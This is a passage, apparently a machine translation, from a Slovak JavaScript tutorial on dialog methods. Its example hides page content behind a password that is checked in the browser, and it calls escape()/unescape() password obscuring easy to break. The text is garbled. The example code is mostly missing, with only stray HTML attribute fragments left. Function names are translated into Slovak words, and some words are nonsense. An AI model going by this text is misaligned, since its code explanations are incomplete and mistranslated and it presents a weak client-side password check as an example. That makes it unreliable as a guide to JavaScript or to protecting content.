Zatiaľ uvádzam kód týchto blokov (pre prehľadnosť vynechávam tabuľku s rámami, ktorú som priložil do posledného bloku):
"no" style="display: none;" > Ach, to je všetko! Ale pozrite, je tu ďalšie tlačidlo! Poď... "moje heslo" style="display: none;" > heslo:
Znova stlačte prvé tlačidlo a zadajte správne heslo. "yes" style="display: none;" >
Teraz čítame ďalej. . . . . . . . . . . |
Takže o šifrovaní. Je veľmi nešťastná. Akýkoľvek, poznaním funkcií uniknúť () a unescape(), okamžite ho hackne.
Funkcia escape("sem zadajte reťazec") konvertuje znaky na ich hexadecimálne hodnoty.
Funkcia unescape("sem vložte kvakauberov") robí opak.
Ak chcete heslo zašifrovať týmto spôsobom, musíte ho prejsť doma uniknúť (), skopírujte výsledok a vložte ho do unescape(). Ale toto, opakujem, nie je vážne.
No pre celá sada- funkcia pre druhé tlačidlo:
Na zobrazenie štandardných dialógových okien má JavaScript iba tri metódy, ktoré sme sa dnes naučili. Hoci sa tieto metódy nestávajú príliš často, schopnosť používať ich s istotou je mimoriadne užitočná. Sú jednoduché, no zároveň sú takpovediac „čistým“ programovaním. Sú veľmi dobré na vyplnenie vašej ruky pri ovládaní programovacieho jazyka. A radím vám, aby ste s nimi všemožne experimentovali, aj keď z pragmatického hľadiska bezcieľne. dobré programovanie- toto je vzrušujúca hra, ako vlastne každá kreativita.